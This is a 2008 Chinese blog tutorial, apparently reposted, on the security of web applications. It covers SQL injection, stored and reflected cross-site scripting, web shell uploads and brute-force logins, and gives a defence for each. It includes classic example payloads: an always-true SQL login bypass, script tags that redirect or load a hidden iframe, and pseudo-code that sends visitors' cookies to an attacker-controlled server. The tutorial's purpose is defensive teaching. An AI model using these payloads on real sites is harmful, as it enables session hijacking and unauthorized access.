BS程序代碼與安全與基本攻擊/防御模式

BearOcean 2008-06-02

1.??? 引言

1.1.???? 文檔說明:

1.2.???? 文檔組織方式:

2.??? 正文

2.1.???? SQL注入

2.1.1.????? 攻擊模式:

2.1.2.????? 防御辦法:

2.2.???? 腳本注入

2.2.1.????? 攻擊模式

2.2.2.????? 防御方式

2.3.???? 跨站攻擊

2.3.1.????? 攻擊模式

2.3.2.????? 防御方式

2.4.???? shell 上傳

2.4.1.????? 攻擊模式

2.4.2.????? 防御方式

2.5.???? 爆破

2.5.1.????? 攻擊模式

2.5.2.????? 防御方式

3.??? 結(jié)語

?

?

?

1.???????? 引言

1.1.??????? 文檔說明:

該文檔主要闡述在BS程序中，安全性方面的注意事項(xiàng)。常見的主要攻擊模式，以及為了防御這些不同的攻擊手段，作為技術(shù)人員建議注意的編碼事項(xiàng)。

該文檔包含的內(nèi)容主要是個(gè)人對(duì)于Internet 安全性問題的理解。以及對(duì)這些問題進(jìn)行規(guī)避的方法整理，難免有誤，也歡迎大家進(jìn)行指正和補(bǔ)充。

另注: 該文檔出現(xiàn)的編碼均為偽代碼。

1.2.??????? 文檔組織方式:

該文檔主要按照攻擊模式進(jìn)行分類整理，每個(gè)攻擊模式的小專題分2部分內(nèi)容:

(1) 攻擊模式詳述

(2) 防御方式與建議

對(duì)于攻擊模式詳述部分，盡可能多的舉出案例來進(jìn)行說明，已方便理解。而防御方式，實(shí)際上通常只有在對(duì)攻擊模式理解的前提下，才可能真正確保防御的有效。

2.???????? 正文

2.1.??????? SQL注入

2.1.1.?????? 攻擊模式:

SQL 注入的成因主要是因?yàn)橄?/span>DB提供的SQL 是用字符串拼裝的方式生成的。

最經(jīng)常遭受SQL注入的頁面通常是管理員/用戶登陸點(diǎn)。不論是asp 或是jsp，如果不正確的編碼，都會(huì)出現(xiàn)這個(gè)漏洞。

下面以一個(gè)實(shí)例來闡述SQL注入的成因。

假設(shè)我們有一個(gè)JSP 頁面login.jsp，用于搜集管理員輸入的用戶名和密碼。用戶點(diǎn)擊按鈕，將會(huì)把收集到的用戶名與密碼提交到指定的控制組件(Struts:Action,或者Servlet).在該組件中調(diào)用chekLogin(String userName, String passWord) 進(jìn)行登陸驗(yàn)證，以從頁面收集到的用戶名和密碼信息拼裝出SQL 字符串，供DAO 下層使用，以從數(shù)據(jù)庫中的管理員記錄表中讀取數(shù)據(jù)，如果從表中找到匹配的記錄，則表示驗(yàn)證成功，我們將返回相應(yīng)得管理員實(shí)體類。否則返回Null 表示登陸驗(yàn)證失敗。

這是一個(gè)非常簡(jiǎn)單的邏輯模塊，如下圖所示:

這個(gè)邏輯產(chǎn)生注入漏洞的關(guān)鍵在于checkAdminLogin方法。因?yàn)樵谠摲椒ㄖ?#xff0c;我們以這種方式進(jìn)行編碼:
public Admin checkAdminLogin(String userName, String password){

//拼裝SQL字符串
String strSQL =”SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’”+userName +”’ AND A.PASSWORD=’”+password+”’”;

//后續(xù)通過DAO 提交該SQL到數(shù)據(jù)庫獲得查詢結(jié)果，省略

這個(gè)生成SQL 的方式，記得剛接觸數(shù)據(jù)庫編程的時(shí)候，有很多書籍的范例代碼也是這樣書寫的，咋一看沒有什么問題，但是由于沒有對(duì)可能的輸入作一個(gè)全面的考慮，所以便產(chǎn)生了注入漏洞。如果有人試圖在這里進(jìn)行惡意攻擊，那么他可以在登陸名輸入框中輸入 123 (其實(shí)其他的任意值也可) 而在密碼輸入框中輸入 ‘ OR ‘1’=’1

那么由于我們的SQL是靠拼出來的，所以最終提交給數(shù)據(jù)庫的將是:
SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’123’ AND A.PASSWORD=’’ OR ‘1’=’1’

很顯然，這句SQL 由于后面被加上了永真條件，登陸是一定成功的。那么不論登陸者是否是管理員，輸入 ‘ OR ‘1’=’1 ，他都將能夠登陸系統(tǒng)。

更有甚者，我可以在輸入框中輸入數(shù)據(jù)庫的SQL注釋符，然后填寫我想讓數(shù)據(jù)庫執(zhí)行的操作例如DROP SOMETABLE 一類的。所以注入漏洞的危害實(shí)際是非常大的。

SQL 注入漏洞的根本原因是，由于我們編碼時(shí)的不小心，導(dǎo)致用戶可以通過輸入來改變要執(zhí)行的邏輯，甚至輸入新的邏輯。但是，越是嚴(yán)重和顯而易見的代碼安全問題，實(shí)際要修補(bǔ)卻也是越容易的。

2.1.2.?????? 防御辦法:

A: 加上驗(yàn)證(或者字符過濾)

在網(wǎng)上搜索關(guān)于對(duì)SQL 注入的防護(hù)問題，有很多答案提供的是對(duì)輸入字符串進(jìn)行驗(yàn)證/或者是過濾，甚至有人提供了字符串過濾代碼。這種方案指出:?SQL 注入的成因是攻擊者在輸入框中輸入了有特殊意義的字符，如單引號(hào)，或者是數(shù)據(jù)庫特定的注釋符號(hào)，或者是執(zhí)行分隔符的分號(hào)。

那么我們?cè)诳刂茖舆M(jìn)行驗(yàn)證，禁止用戶輸入這些符號(hào)，或者將這些符號(hào)進(jìn)行轉(zhuǎn)義是否可以杜絕SQL注入?

表面上看似乎是可以的，因?yàn)樵诳刂茖又?#xff0c;用戶如果試圖輸入 ‘ OR ‘1’=’1 將得到類似”不允許輸入單引號(hào)”的提示從而系統(tǒng)拒絕了本次執(zhí)行。

但是，這樣的防御方案有非常大的缺陷:

第一: 輸入驗(yàn)證應(yīng)該與具體的邏輯掛鉤，而不應(yīng)該與安全防護(hù)中的防注入產(chǎn)生過密的依賴。用戶名和密碼的輸入驗(yàn)證和新聞內(nèi)容的輸入驗(yàn)證是不同的。例如，對(duì)于新聞的按內(nèi)容搜索又應(yīng)該允許輸入單引號(hào)，因?yàn)樾侣剝?nèi)容本身是允許包含單引號(hào)的。所以輸入驗(yàn)證不能從根本上解決問題。一個(gè)疏忽帶來的結(jié)果將是滿盤皆輸。

第二: 提出這種解決方案實(shí)際上是沒有真正的理解SQL注入，SQL注入的問題并不是出在不合法字符的問題上。這只是表象，SQL注入的真正原因是系統(tǒng)沒有辦法嚴(yán)格地控制程序邏輯與輸入?yún)?shù)之間的分離，系統(tǒng)存在漏洞讓系統(tǒng)是用者有地方可以把自己的輸入(本應(yīng)該是參數(shù))變成了程序邏輯的一部分。

B: 控制與參數(shù)分離

試想我們給用戶提供一個(gè)接口，這個(gè)接口帶一個(gè)參數(shù)，用戶填寫這個(gè)的這個(gè)參數(shù)將決定下面的代碼執(zhí)行序列。那么用戶可以通過這個(gè)接口來命令系統(tǒng)做任何事情。其實(shí)SQL注入就是這個(gè)原因。

產(chǎn)生這個(gè)問題的最根本的原因是，系統(tǒng)應(yīng)該有能力明確的劃分什么是邏輯，什么是參數(shù)。

所以解決SQL注入的最根本辦法是使用Template 模式。

如下圖所示:

那么用戶的輸入會(huì)作為Business Object 的參數(shù)存在。但是不管用戶輸入什么。都無法脫離程序員設(shè)置的Templete (邏輯模板)。最后 Templete + Parameters 將決定程序具體的執(zhí)行。

Java 中對(duì)該模式的實(shí)現(xiàn)有PreparedStatment或者NamingQuery一類的技術(shù)。詳細(xì)內(nèi)容可以參見相關(guān)文檔。由于他們實(shí)現(xiàn)了參數(shù)與邏輯的分離，所以將從根本上杜絕SQL注入。

使用PreparedStatement還有其他好處，除了安全方面的考慮，由于數(shù)據(jù)庫的編譯特性，在性能上也有所提高。

2.2.??????? 腳本注入

2.2.1.?????? 攻擊模式

這里所說的腳本，通常所指的是JavaScript腳本，雖然JavaScript運(yùn)行于客戶端，并且有安全沙箱的保護(hù)，但是放任惡意JavaScript腳本是十分危險(xiǎn)的。

腳本注入也是一種技術(shù)含量低的攻擊方式。需要攻擊者熟悉JavaScript腳本和Dom模型，如果會(huì)運(yùn)用Ajax 技術(shù)，更是如虎添翼。如果你了解這兩項(xiàng)技術(shù)，便可以在網(wǎng)上搜索你的目標(biāo)。

一個(gè)網(wǎng)站，如果對(duì)輸入未做合理的驗(yàn)證或過濾，在顯示輸出的時(shí)候又未做合適的格式化，那么便存在這種漏洞。下面舉一個(gè)實(shí)例:

我們有一個(gè)新聞?wù)军c(diǎn)。每個(gè)新聞允許瀏覽者進(jìn)行評(píng)論，瀏覽者提交的評(píng)論將被存儲(chǔ)在數(shù)據(jù)據(jù)庫專門的表中，并且將被顯示在新聞的下邊。

這個(gè)邏輯很正常，沒有什么問題。但是很可惜的是開發(fā)者除了字符長度沒有在后端做任何輸入合法驗(yàn)證。那么這個(gè)站點(diǎn)的評(píng)論輸入，必然給壞蛋們有機(jī)可乘。

假設(shè)我們?cè)谠u(píng)論中輸入如下內(nèi)容:

<script language=”javascript”>alert(“哈哈，傻了吧，這個(gè)地方存在腳本注入漏洞.”);</script>

那么，這句話將被存儲(chǔ)在數(shù)據(jù)庫評(píng)論表中。以后，每一個(gè)瀏覽者打開這個(gè)新聞頁面是，都將會(huì)彈出這樣一個(gè)消息框。攻擊者很仁慈，沒有做過多的破壞。

但是如果輸入:

<script language=”javascript”>window.location.href=”www.baidu.com”;</script>

那么打開這個(gè)新聞頁面，該頁面將被從定向到baidu的頁面上。

如果目標(biāo)頁面不是baidu. 而是一個(gè)有惡意代碼的頁面。那么每個(gè)瀏覽者的機(jī)器都可能中毒。

注入上述腳本的攻擊者不夠聰明或者只是想好心的提示。因?yàn)樗麄冏⑷氲臇|西太容易被人發(fā)覺。

我們有別的方式把活干的隱蔽，畢竟開發(fā)者和維護(hù)人員都不可能對(duì)評(píng)論一條一條得進(jìn)行檢查。

我們注入:

好文! 頂

<iframe src=”帶病毒的頁面” width=”0” height=”0”></iframe>

那么在新聞頁面上，將看不到任何異狀。但是瀏覽器其實(shí)可能正在悄悄得下載病毒。

WEB2.0的流行使頁面效果更加絢麗，同時(shí)也使腳本注入的攻擊力提高不少。

曾經(jīng)了解這樣一種攻擊模式:

攻擊者在幕后準(zhǔn)備了服務(wù)器去接受Ajax提交的請(qǐng)求。攻擊者通常有自己的服務(wù)器(通常是肉雞), 在上面部署了合適的代碼。

在目標(biāo)站點(diǎn)，存在注入點(diǎn)的頁面注入如下代碼:

我也來頂!

<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服務(wù)器監(jiān)聽點(diǎn)”, strTargetMessage);
</javascript>

很簡(jiǎn)單的代碼，而且極難被發(fā)覺。

但是這樣，每個(gè)登錄者在訪問這個(gè)頁面的時(shí)候，其cockie信息都將被發(fā)送給攻擊者。

掌握了cockie中存放的JSESSIONID, 那么攻擊者便可以冒充該登錄者來做想做的事情，比如說轉(zhuǎn)帳(但一般銀行有SSL 授權(quán)的密鑰).

不管怎么樣，很危險(xiǎn)了。

2.2.2.?????? 防御方式

提供合理的過濾或者轉(zhuǎn)換程序，在輸入存放于數(shù)據(jù)庫前，或者是顯示在頁面前對(duì)數(shù)據(jù)進(jìn)行處理。盡一切可能，避免用戶的輸入有執(zhí)行的可能。

具體代碼，因不同的后端語言不同，但是項(xiàng)目提供有效，統(tǒng)一的過濾處理方式是合理的。

該攻擊方法成立的原因是，瀏覽器在對(duì)頁面進(jìn)行解析時(shí)，不可能區(qū)分哪一段是客戶輸入，哪一段是預(yù)編制的模板或Html或腳本。

有人曾經(jīng)提出，確保評(píng)論內(nèi)容出現(xiàn)在<pre></pre>中可以避免這個(gè)問題。

如:
<pre><%= 評(píng)論內(nèi)容 %></pre>

那么評(píng)論內(nèi)容將得到原樣顯示，并不會(huì)執(zhí)行其中的腳本。

但是這樣的解決方案是不正確的。

因?yàn)槲抑恍枰獙?duì)注入稍加改動(dòng):

</pre>
<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服務(wù)器監(jiān)聽點(diǎn)”, strTargetMessage);
</javascript>

<pre>

那么實(shí)際上注入腳本將<pre>塊閉合了，腳本仍然會(huì)得到執(zhí)行。

2.3.??????? 跨站攻擊

2.3.1.?????? 攻擊模式

跨站攻擊和腳本注入非常相似。有很多資料并沒有區(qū)分這兩種攻擊。

實(shí)際上，我認(rèn)為跨站和腳本注入最大的區(qū)別在于用戶提交的非法腳本是否需要持久化到服務(wù)器。通常，用于腳本注的惡意腳本提交后，將存儲(chǔ)在服務(wù)器數(shù)據(jù)庫中。這導(dǎo)致每個(gè)訪問問題頁面的瀏覽者都將遭到惡意腳本的攻擊。而跨站攻擊多數(shù)情況是將惡意腳本構(gòu)造于url參數(shù)中。通過欺騙的方式去誘使受害者點(diǎn)擊鏈接。而使得惡意腳本執(zhí)行。

雖然，不像腳本注入，跨站攻擊必須要誘使受害者點(diǎn)擊鏈接才能得以執(zhí)行。但是一旦成立，其危害將和腳本注入的危害一樣大。

并且，跨站攻擊的最大問題在于漏洞難于查找，特別容易被忽略。

因?yàn)槿藗兺ǔＳ浀迷谟脩糨斎朐u(píng)論的地方加上過濾來避免注入，但是防護(hù)跨站漏洞，卻要保證在每個(gè)處理url參數(shù)的頁面中都要對(duì)傳入的參數(shù)進(jìn)行合法性驗(yàn)證。由于程序員的疏忽或者懶惰，往往無法做到 “每個(gè)”, 所以即使是知名的大型網(wǎng)站也頻頻出現(xiàn)跨站漏洞。

下面給出一個(gè)實(shí)例來說明跨站漏洞。

一年前，我的朋友曾經(jīng)給了我一個(gè)工行網(wǎng)絡(luò)銀行的地址(http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB (上面這些類似亂碼的編碼實(shí)際上是“通緝: BearOcean同學(xué)于2007.5.1日詐騙工商銀行500萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者獎(jiǎng)勵(lì)人民幣50萬整”字符串的urlEncoding成果物,后來工行把這個(gè)漏洞堵上了.)

當(dāng)我點(diǎn)開頁面進(jìn)行瀏覽的時(shí)候，發(fā)現(xiàn)上面顯示的是一則公告:

?? “通緝: BearOcean同學(xué)于2007.5.1日詐騙工商銀行500萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者獎(jiǎng)勵(lì)人民幣50萬整”

很顯然這是一個(gè)玩笑(我的同學(xué)沒有攻擊意圖，只是利用這個(gè)開了個(gè)玩笑)，但是讓我驚訝的是即使是工行也能出現(xiàn)這樣的問題。我們現(xiàn)在來分析出現(xiàn)這個(gè)問題的原因，以及它可能帶來的危害。

工行的hotspot.jsp可以理解成一個(gè)專用于顯示一些簡(jiǎn)短信息的頁面。

他接受url中的一個(gè)參數(shù)column并把它顯示出來。

這樣的頁面很常見也很有用，例如我們?cè)谧?cè)成功，評(píng)論新聞成功的時(shí)候，都希望有一個(gè)風(fēng)格統(tǒng)一的頁面來顯示操作結(jié)果。如果為每一個(gè)有這種需求的地方單獨(dú)開發(fā)不同的頁面，一來工作量大，二來重用性差，所以我們用一個(gè)頁面來完成這種事情。這個(gè)頁面顯示的是什么取決于輸入的參數(shù)。請(qǐng)看下圖:

hotspot 是傻子，無法智能到判定輸入的column來自于友方模塊還是來自于我的同學(xué)?？傊?#xff0c;來者不拒。直接將column不加區(qū)分的顯示在hotspot上。

令人好奇的是，該漏洞只是讓大家開開玩笑，輸出一些好玩的東西，那么其實(shí)這個(gè)漏洞會(huì)不會(huì)也無傷大雅，沒有什么危害性。我強(qiáng)調(diào)過，我的同學(xué)不是惡意的攻擊者，敏感的人能夠猜測(cè):如果輸入的不是用于開玩笑的字符串，而是惡意的腳本，那將如何？

跨站攻擊的危害和腳本注入是一樣的。惡意腳本得以執(zhí)行，一樣可用于盜取coockie. 或以高級(jí)別權(quán)限用戶執(zhí)行危害更嚴(yán)重的木馬上傳操作，或者幫助瀏覽者在自己的機(jī)器上種上病毒。與SQL注入不同，腳本注入和跨站都沒有直接攻擊服務(wù)端，實(shí)際上是攻擊了客戶端。但是，上述2種漏洞通常會(huì)成為有經(jīng)驗(yàn)的黑客攻擊服務(wù)器的最喜愛跳板。

2.3.2.?????? 防御方式

問題的原因已經(jīng)分析清楚，存在跨站漏洞的頁面或模塊通常未對(duì)傳入的url參數(shù)進(jìn)行處理，或者確定傳入來源是可靠的。

最主要的防御方式與腳本注入的防御方式相同。

在類似于的hotspot頁面中，程序員對(duì)輸入的colum進(jìn)行過濾，并免任何腳本執(zhí)行的機(jī)會(huì)就可以保護(hù)站點(diǎn)免受跨站漏洞的攻擊。

2.4.??????? shell 上傳

2.4.1.?????? 攻擊模式

shell上傳是攻擊BS程序最可怕的一招。

中招的站點(diǎn)，完全被破壞是一點(diǎn)也不意外的。因?yàn)?/span>shell, 通常都有能力幫助攻擊者拿到系統(tǒng)管理員的權(quán)限。繞開站點(diǎn)的權(quán)限限制，直接攻擊操作系統(tǒng)和DBA, 作為攻防戰(zhàn)的防守方，搞成這種局面，只能用完全失敗來形容了。

要理解通過shell上傳來攻擊服務(wù)器的方式，需要理解shell是什么。

Shell 通常是一種用特定語言編寫的程序，攻擊服務(wù)器的時(shí)候，由于通常要實(shí)現(xiàn)遠(yuǎn)程編譯比較復(fù)雜，所以這種木馬類型的文件一般都用解釋型語言編寫(或者有解釋語言特點(diǎn)).

具體語言的選擇，依賴于目標(biāo)站點(diǎn)的開發(fā)語言。攻擊ASP 站點(diǎn)的shell 用ASP 編寫，攻擊PHP 站點(diǎn)的shell用PHP編寫，攻擊J2EE的站點(diǎn)Shell 可用Jsp來編寫。

Shell 通常都是基于命令的，它通常能接受攻擊者的參數(shù)。然后以功能劃分模塊進(jìn)行運(yùn)行。

常見的命令如: 列表文件，刪除文件，創(chuàng)建文件，修改文件，新建系統(tǒng)帳號(hào)，訪問操作系統(tǒng)功能。通過使用這些功能。攻擊者將能夠控制shell 宿主服務(wù)器，所以站點(diǎn)乃至整個(gè)系統(tǒng)被shell 黑破是很好理解的。設(shè)想一個(gè)攻擊者通過shell新建一個(gè)操作系統(tǒng)管理員，其實(shí)就可以拋棄shell了。(需要說明的是，webshell通常功能較弱，但是webshell可以支持更強(qiáng)木馬的上傳和執(zhí)行。) 通過遠(yuǎn)程控制客戶端，便可對(duì)服務(wù)器為所欲為。

請(qǐng)看下圖:

攻擊者通過shell木馬，去取得其他關(guān)鍵權(quán)限，轉(zhuǎn)而對(duì)整個(gè)系統(tǒng)實(shí)施攻擊。

很奇怪，明明我的服務(wù)器內(nèi)只部署了我自己開發(fā)的頁面文件和程序模塊。攻擊者是怎樣把木馬傳上來的呢。

一般來說有如下方式:

(1)??? FTP: 服務(wù)器開啟了FTP 服務(wù)，并且使用允許匿名或者弱帳號(hào)機(jī)制，FTP 直接指向Web虛擬路徑，很多人通過這種方式來管理/維護(hù)站點(diǎn)。固然方便，但是攻擊者通過端口掃描可以很容易的找到服務(wù)器的FTP服務(wù)，攻擊FTP進(jìn)而上傳shell木馬。但是這種攻擊方式以及其他利用服務(wù)/操作系統(tǒng)/web容器漏洞的服務(wù)均與開發(fā)的直接關(guān)系不大，主要責(zé)任系維護(hù)方面，所以在這里不詳細(xì)敘述。

(2)??? 上傳組件: 很多站點(diǎn)，由于功能要求，提供文件上傳功能。這個(gè)功能，攻擊者通常都會(huì)非常注意。如果上傳組建的編寫有問題。那么攻擊者就能很方便的上傳shell. 因?yàn)楹烷_發(fā)關(guān)系較大，所以主要敘述的是這種上傳方式。

方式(2) 中所涉及的上傳組建通常是一些上傳功能需求引入的。例如用戶可以自定義自已的圖片或者是上傳商品圖片，或者是允許上傳一些其他文件供瀏覽者下載。這些上傳功能也頻繁出現(xiàn)在后臺(tái)管理中。

2.4.2.?????? 防御方式

關(guān)于shell的防御通常有如下一些事項(xiàng)需要注意:

(1)??? Web 容器正確的安全設(shè)置:

如果系統(tǒng)有上傳的功能，那么上傳的文件一般都存放在固定的一個(gè)或者幾個(gè)文件夾中。

最需要確保的是，不管上傳了什么，我們都需要保證服務(wù)器認(rèn)為這些文件是數(shù)據(jù)，而不會(huì)誤以為是程序模塊而使木馬得到執(zhí)行的機(jī)會(huì)。通常web服務(wù)器都有相關(guān)的安全設(shè)置。禁用這幾個(gè)文件夾中的文件解釋/執(zhí)行權(quán)限是必要的，這樣即使木馬上傳成功也無法解析。在系統(tǒng)上線前需要對(duì)web配置進(jìn)行正確的配置這是一點(diǎn)。

總的來說，不管是利用OS 漏洞或者是FTP 或者是配置。Linux 的安全性相對(duì)于Windows較高。目前最多的shell馬一般是基于ASP的。

(2)??? 自己編寫上傳組件需要嚴(yán)格的驗(yàn)證:

很多時(shí)候我們會(huì)使用自己開發(fā)的上傳功能和組件。

編寫的時(shí)候需要對(duì)上傳的文件進(jìn)行驗(yàn)證而不能夠不加驗(yàn)證便進(jìn)行保存。

通常驗(yàn)證的項(xiàng)目包括文件大小和文件后綴(文件類型)，如僅允許jpeg, jpg, gif 圖片格式文件上傳。這是作為開發(fā)方需要注意的事項(xiàng)，但是不結(jié)合第一點(diǎn)來防護(hù)仍然不安全。目前有許多jpg, gif shell木馬，后綴名使用圖片格式能夠跳過驗(yàn)證，但是攻擊者可以利用其他的漏洞使木馬得以執(zhí)行。

另外，通常后臺(tái)功能有修改允許上傳文件類型的功能。如果攻擊者通過其他手段(如注入或者社會(huì)工程學(xué)) 成功得到了后臺(tái)登陸權(quán)限，那么他仍然能夠上傳木馬。

所以(2) +(1) 才能使得防護(hù)真正的起到作用。另外一點(diǎn)需要注意的是，對(duì)文件的驗(yàn)證一定要在服務(wù)器端進(jìn)行。前端的javascript驗(yàn)證在安全性上將不起作用。

(3)??? 利用已開發(fā)的第三方組件:

有很多人開發(fā)出了好用的第三方控件，如一些富文本編輯控件直接允許文件/圖片的上傳(如FCKEditor) 這些控件有很多在功能上做的很好，但往往由于開發(fā)者安全方面考慮的不多，會(huì)存在漏洞，在使用第三方組件的時(shí)候可以對(duì)組件是否存在漏洞進(jìn)行調(diào)查。必要的時(shí)候可進(jìn)行代碼修改以進(jìn)行安全加強(qiáng)。

比較出名的是，曾經(jīng)有一個(gè)很著名的asp 后臺(tái)文件管理模塊。出現(xiàn)了非常明顯的shell上傳點(diǎn)。但是使用的人仍然趨之若鶩。攻擊者們通常發(fā)現(xiàn)站點(diǎn)使用該組件的時(shí)候。第一反應(yīng)就是:開心地笑了。甚至有人開發(fā)了專門針對(duì)該模塊的攻擊/上傳程序。

2.5.??????? 爆破

2.5.1.?????? 攻擊模式

爆破和上述的攻擊方式一樣，均是很古老的攻擊手段了。它是很暴力很笨的攻擊方式。不過使用得到也具有一定的威脅。

爆破的模式很簡(jiǎn)單，一般情況如下圖所示:

爆破方式來獲取帳號(hào)，通常在攻擊端需要部署攻擊器和字典程序。

攻擊器負(fù)責(zé)向特定登陸模塊發(fā)送登陸請(qǐng)求，字典程序負(fù)責(zé)按照人們的輸入習(xí)慣對(duì)于待輸入嘗試進(jìn)行排序。結(jié)合起來，可以在一定時(shí)間將系統(tǒng)中的賬號(hào)試出來。具體時(shí)間依據(jù)密碼賬號(hào)強(qiáng)度來定。簡(jiǎn)單的密碼如 admin 123 可能在一分鐘內(nèi)被試探出來。而強(qiáng)賬號(hào)可能要一年。

2.5.2.?????? 防御方式

總的來說，防暴有如下幾種方式:

(1)??? 使用驗(yàn)證碼:

這是一個(gè)很成熟的方式，也較為行之有效。具體方式是在登陸的時(shí)候，除了要求登陸者輸入用戶名與密碼以外，還要求輸入者辨識(shí)一個(gè)不怎么清晰的圖片，并輸入圖片中顯示的字符，以作為這次輸入并非出自自動(dòng)程序的憑證。

要破除這種方式的登陸端并進(jìn)行爆破，對(duì)于攻擊端有更高的要求。需要首先對(duì)驗(yàn)證圖片進(jìn)行模式匹配以提取其中隱含的字符串。不過模糊匹配是比較復(fù)雜的技術(shù)。具體的應(yīng)用包括音頻匹配，指紋系統(tǒng)，人臉識(shí)別，圖片處理等方向，涉及較強(qiáng)的數(shù)理基礎(chǔ)。一般攻擊者都不會(huì)動(dòng)用這種技術(shù)，目前模糊匹配仍沒有達(dá)到成熟。模糊匹配不能很有效的原因也是計(jì)算機(jī)無法真正意義上模擬生物智能的重要障礙之一。相關(guān)方向有很多課題無解。如果感興趣可以單獨(dú)研究。

(2)??? 阻塞同一IP同一時(shí)間多次連續(xù)對(duì)登陸的驗(yàn)證請(qǐng)求

該方法在后端程序中加上一個(gè)時(shí)間連續(xù)驗(yàn)證。禁止同一IP 同一時(shí)間內(nèi)多次請(qǐng)求。例如可以設(shè)置同一IP 上次驗(yàn)證距這次驗(yàn)證間隔時(shí)間必須大于0.2秒。通過這種方式來降低攻擊程序的性能。

不過這種方式除了性能上的弱點(diǎn)，還有一個(gè)弱點(diǎn)在于: 網(wǎng)絡(luò)環(huán)境中，如果有大量用戶共用一個(gè)IP, 所以有可能在高并發(fā)的情況下拒絕正常請(qǐng)求。

?

3.???????? 結(jié)語

關(guān)于站點(diǎn)程序安全，還有很多攻擊和防御的方式。

開發(fā)過程中，代碼上的防御最好形成統(tǒng)一的，類似于AOP 的安全服務(wù)層。對(duì)安全過濾，效驗(yàn)，防暴等攻擊手段提供統(tǒng)一的服務(wù)和保護(hù)。由于編碼習(xí)慣引入的漏洞，可以制定相關(guān)的規(guī)范，對(duì)形如SQL 注入的避免。

同時(shí)，運(yùn)營方面，需要密切地注意OS , 數(shù)據(jù)庫，網(wǎng)絡(luò)環(huán)境存在的不安因素。

部署方面，對(duì)于配置充分考量安全方面的強(qiáng)化。

本文當(dāng)沒有涉及具體的編碼技術(shù)和配置方案，因?yàn)橥瓿蛇@些詳述，篇幅會(huì)變得無法控制。

本文當(dāng)主要在基本的安全事項(xiàng)，攻擊模式上面做出闡述。拋磚引玉。

????????????????????????????????????????????????????????? BearOcean 2008-06-02

轉(zhuǎn)載于:https://www.cnblogs.com/BearOcean/archive/2008/06/02/1212031.html

總結(jié)

以上是生活随笔為你收集整理的BS程序代码与安全与基本攻击/防御模式的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。